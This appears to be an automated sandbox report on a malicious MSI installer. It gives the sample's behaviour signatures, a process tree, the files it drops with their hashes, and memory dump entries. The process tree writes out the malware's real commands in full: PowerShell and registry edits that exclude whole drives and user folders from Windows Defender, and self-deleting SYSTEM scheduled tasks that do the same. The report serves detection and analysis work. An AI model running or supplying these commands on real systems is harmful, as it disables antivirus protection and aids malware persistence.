Analysis

  • max time kernel
    14s
  • max time network
    55s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 17:17

General

  • Target
    zinst.6638258007.msi
  • Size 7.9MB
  • Sample260707-vtpvasbs2k
  • SHA256 6caf731a5f916170d46a11e8e1ab497bbecd7a6386ba066908c8f716ef4a0399
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\zinst.6638258007.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5272
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:5620
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1208
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding C00F74202BA498F2737C7855AAC67603 E Global\MSI0000
        2⤵
          PID:1216
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        • Suspicious use of AdjustPrivilegeToken
        PID:5044
      • C:\Users\Public\ik0aNc\ZdX5ag.exe
        "C:\Users\Public\ik0aNc\ZdX5ag.exe"
        1⤵
          PID:5028
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2876
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ik0aNc\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            PID:924
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ik0aNc\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2112
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:5392
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:5896
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                PID:2840
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2852
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:884
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:940
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    PID:3000
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:6132
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:4488
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:2468
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:4764
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:5860
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:3796
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:3512
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                            2⤵
                            • Indicator Removal: Clear Persistence
                            PID:1620
                            • C:\Windows\system32\schtasks.exe
                              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                              3⤵
                              • Scheduled Task/Job: Scheduled Task
                              PID:5192
                            • C:\Windows\system32\schtasks.exe
                              SCHTASKS /Run /TN "Task1"
                              3⤵
                                PID:1104
                              • C:\Windows\system32\schtasks.exe
                                SCHTASKS /Delete /TN "Task1" /F
                                3⤵
                                  PID:3440
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ik0aNc" /t REG_DWORD /d 0 /f
                              1⤵
                                PID:4964
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ik0aNc" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:2368
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe
                                  1⤵
                                    PID:2988
                                  • C:\Windows\system32\cmd.exe
                                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                    1⤵
                                      PID:4960
                                      • C:\Windows\System32\reg.exe
                                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                        2⤵
                                          PID:2380
                                      • C:\Windows\system32\cmd.exe
                                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                        1⤵
                                          PID:6124
                                          • C:\Windows\System32\reg.exe
                                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                            2⤵
                                              PID:5892
                                          • C:\Windows\system32\cmd.exe
                                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                            1⤵
                                              PID:1936
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                                2⤵
                                                  PID:3468
                                              • C:\Windows\system32\cmd.exe
                                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                                1⤵
                                                  PID:1856
                                                  • C:\Windows\System32\reg.exe
                                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                                    2⤵
                                                      PID:4516

                                                  Network

                                                        MITRE ATT&CK Enterprise v16

                                                        Replay Monitor

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                                                        Downloads

                                                        e5942ec.rbs

                                                        • Path C:\Config.Msi\e5942ec.rbs
                                                        • Size 7KB
                                                        • SHA256 49a3c37061093281924a0d38968b46395067f36c26eacfde58bf927d5a2daa90
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        UxEnhance64.dll

                                                        • Path C:\Users\Public\ik0aNc\UxEnhance64.dll
                                                        • Size 730KB
                                                        • SHA256 cbcca767a07499b07e9817e40096468caa2371466858eadcf197399116fd988d
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        UxEnhance64.dll

                                                        • Path C:\Users\Public\ik0aNc\UxEnhance64.dll
                                                        • Size 644KB
                                                        • SHA256 d29cc0ea4d1030988f357c1f7d8864f0f951a127ed492032af59692e4d115348
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        ZdX5ag.exe

                                                        • Path C:\Users\Public\ik0aNc\ZdX5ag.exe
                                                        • Size 135KB
                                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        adoresd.dat

                                                        • Path C:\Users\Public\ik0aNc\adoresd.dat
                                                        • Size 623KB
                                                        • SHA256 dc41a5ce60389dba81be96014581098912c4fb366b3ca98bdd0325328e19f9eb
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        msadox.tb

                                                        • Path C:\Users\Public\ik0aNc\msadox.tb
                                                        • Size 8KB
                                                        • SHA256 6e1215603e4a0c4d0ff936ecf477ccae92dc02316cdf9f6297083127abb8901d
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        MSI49A3.tmp

                                                        • Path C:\Windows\Installer\MSI49A3.tmp
                                                        • Size 7.8MB
                                                        • SHA256 b8ed9f9ccbbc77953448c0e415836b033e240af827ad2ae94edf3dbda38dc59c
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        e5942eb.msi

                                                        • Path C:\Windows\Installer\e5942eb.msi
                                                        • Size 1.1MB
                                                        • SHA256 36f7c20e35547b0c65b2767759fc293a599695e4212e2caac6c07901c7cbd955
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        metadata-2

                                                        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                                        • Size 2.8MB
                                                        • SHA256 0331cfce19398fe172c87af626b8fd09e5c478f0782d76e0d8d105b3353c8aa4
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        {9ded9332-8bf0-4994-99e9-df2d4a76ae15}_OnDiskSnapshotProp

                                                        • Path \??\Volume{b50918b2-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{9ded9332-8bf0-4994-99e9-df2d4a76ae15}_OnDiskSnapshotProp
                                                        • Size 6KB
                                                        • SHA256 9a80abcd69fd09f4b81f0144e0328e2e5b304829bc940fddc5c5e2c5e9b9a4ca
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        memory/1216-44-0x00007FFE68BA0000-0x00007FFE68BB2000-memory.dmp

                                                        memory/1216-16-0x00007FFE68BA0000-0x00007FFE68BB2000-memory.dmp

                                                        memory/1216-12-0x00007FFE73730000-0x00007FFE73732000-memory.dmp

                                                        memory/1216-13-0x00007FFE50130000-0x00007FFE5075F000-memory.dmp

                                                        memory/2876-108-0x0000019B3FC80000-0x0000019B3FC8A000-memory.dmp

                                                        memory/2876-107-0x0000019B3FF20000-0x0000019B3FFD2000-memory.dmp

                                                        memory/2876-106-0x0000019B3FC60000-0x0000019B3FC7E000-memory.dmp

                                                        memory/2876-103-0x0000019B277C0000-0x0000019B277E2000-memory.dmp

                                                        memory/5028-67-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-71-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-72-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-73-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-74-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-78-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-89-0x000001671B3C0000-0x000001671B44A000-memory.dmp

                                                        memory/5028-88-0x000001671B3C0000-0x000001671B44A000-memory.dmp

                                                        memory/5028-87-0x000001671B3C0000-0x000001671B44A000-memory.dmp

                                                        memory/5028-85-0x000001671B3C0000-0x000001671B44A000-memory.dmp

                                                        memory/5028-84-0x000001671B230000-0x000001671B27E000-memory.dmp

                                                        memory/5028-91-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-93-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-94-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-66-0x00007FFE73740000-0x00007FFE73742000-memory.dmp

                                                        memory/5028-64-0x000001671BF30000-0x000001671C7EE000-memory.dmp

                                                        memory/5028-58-0x00007FFE73730000-0x00007FFE73732000-memory.dmp

                                                        memory/5028-59-0x00007FFE50230000-0x00007FFE50756000-memory.dmp